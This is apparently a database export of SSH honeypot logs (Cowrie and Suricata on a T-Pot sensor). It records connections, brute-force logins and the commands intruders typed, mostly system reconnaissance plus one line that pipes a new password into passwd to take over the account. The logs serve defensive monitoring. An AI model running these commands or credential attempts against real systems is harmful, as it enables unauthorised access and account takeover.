33093	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:12.033087+03	2021-09-20 15:00:04.306722+03	{"_id": "rAYOA3wBvYTbRNuEd001", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:12.033087Z", "@timestamp": "2021-09-20T11:54:12.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33094	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:12.033627+03	2021-09-20 15:00:04.307722+03	{"_id": "rwYOA3wBvYTbRNuEd001", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:12.033627Z", "@timestamp": "2021-09-20T11:54:12.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33095	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:12.204048+03	2021-09-20 15:00:04.308723+03	{"_id": "uAYOA3wBvYTbRNuEe00f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "189.50.42.214", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.4694178104400635, "duplicate": true, "timestamp": "2021-09-20T11:54:12.204048Z", "@timestamp": "2021-09-20T11:54:12.204Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33096	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:12.582999+03	2021-09-20 15:00:04.309722+03	{"_id": "uQYOA3wBvYTbRNuEe00f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:12.582999Z", "@timestamp": "2021-09-20T11:54:12.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33097	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:14.869302+03	2021-09-20 15:00:04.311722+03	{"_id": "3gYOA3wBvYTbRNuEgk3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.116.239.130:40422 (192.168.176.2:22) [session: 3bee2e32ce97]", "session": "3bee2e32ce97", "@version": "1", "protocol": "ssh", "src_port": 40422, "dest_port": 22, "timestamp": "2021-09-20T11:54:14.869302Z", "@timestamp": "2021-09-20T11:54:14.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33098	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:14.220895+03	2021-09-20 15:00:04.312723+03	{"_id": "3AYOA3wBvYTbRNuEgk3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:14.220895Z", "@timestamp": "2021-09-20T11:54:14.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33099	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:15.041029+03	2021-09-20 15:00:04.313722+03	{"_id": "2gYOA3wBvYTbRNuEgk3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:15.041029Z", "@timestamp": "2021-09-20T11:54:15.041Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33100	1.116.239.130	109.199.241.180	Suricata	2021-09-20 14:54:15.145677+03	2021-09-20 15:00:04.314722+03	{"_id": "4wYOA3wBvYTbRNuEhE1U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "flow_id": 2007179790257984, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40422, "dest_port": 22, "timestamp": "2021-09-20T11:54:15.145677Z", "@timestamp": "2021-09-20T11:54:15.145Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33101	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:15.161407+03	2021-09-20 15:00:04.315722+03	{"_id": "6QYOA3wBvYTbRNuEhk3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3bee2e32ce97", "@version": "1", "timestamp": "2021-09-20T11:54:15.161407Z", "@timestamp": "2021-09-20T11:54:15.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33102	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:16.337597+03	2021-09-20 15:00:04.317721+03	{"_id": "6gYOA3wBvYTbRNuEik3C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "3bee2e32ce97", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:54:16.337597Z", "@timestamp": "2021-09-20T11:54:16.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33103	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:17.532105+03	2021-09-20 15:00:04.318722+03	{"_id": "9AYOA3wBvYTbRNuEjk2r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:17.532105Z", "@timestamp": "2021-09-20T11:54:17.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33104	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:18.011108+03	2021-09-20 15:00:04.319722+03	{"_id": "-AYOA3wBvYTbRNuEjk2r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:18.011108Z", "@timestamp": "2021-09-20T11:54:18.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33105	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:19.397115+03	2021-09-20 15:00:04.320722+03	{"_id": "BwYOA3wBvYTbRNuElk59", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "189.50.42.214", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.23783087730407715, "duplicate": true, "timestamp": "2021-09-20T11:54:19.397115Z", "@timestamp": "2021-09-20T11:54:19.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33106	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:19.159366+03	2021-09-20 15:00:04.321722+03	{"_id": "AAYOA3wBvYTbRNuElk58", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:19.159366Z", "@timestamp": "2021-09-20T11:54:19.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33107	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:19.925047+03	2021-09-20 15:00:04.322722+03	{"_id": "AgYOA3wBvYTbRNuElk58", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo -e \\"irfan\\\\nm1ZM6PZ3LX03\\\\nm1ZM6PZ3LX03\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"irfan\\\\nm1ZM6PZ3LX03\\\\nm1ZM6PZ3LX03\\"|passwd|bash", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:19.925047Z", "@timestamp": "2021-09-20T11:54:19.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33108	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:10.044097+03	2021-09-20 15:00:04.324721+03	{"_id": "mQYOA3wBvYTbRNuEc01L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "91.231.219.157", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21168923377990723, "duplicate": true, "timestamp": "2021-09-20T11:54:10.044097Z", "@timestamp": "2021-09-20T11:54:10.044Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33109	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:10.630794+03	2021-09-20 15:00:04.325723+03	{"_id": "mgYOA3wBvYTbRNuEc01L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:10.630794Z", "@timestamp": "2021-09-20T11:54:10.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33110	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:10.27272+03	2021-09-20 15:00:04.326722+03	{"_id": "ngYOA3wBvYTbRNuEc01M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:10.272720Z", "@timestamp": "2021-09-20T11:54:10.272Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33111	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:14.87546+03	2021-09-20 15:00:04.327722+03	{"_id": "2AYOA3wBvYTbRNuEgk3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3bee2e32ce97", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:54:14.875460Z", "@timestamp": "2021-09-20T11:54:14.875Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33112	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:14.297997+03	2021-09-20 15:00:04.328722+03	{"_id": "1wYOA3wBvYTbRNuEgk3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.login.success", "message": "login attempt [irfan/irfan] succeeded", "session": "72b3abb7134e", "@version": "1", "password": "irfan", "username": "irfan", "timestamp": "2021-09-20T11:54:14.297997Z", "@timestamp": "2021-09-20T11:54:14.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
33113	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:08.48588+03	2021-09-20 15:00:04.330721+03	{"_id": "jgYOA3wBvYTbRNuEa017", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "189.50.42.214", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.46817660331726074, "duplicate": true, "timestamp": "2021-09-20T11:54:08.485880Z", "@timestamp": "2021-09-20T11:54:08.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
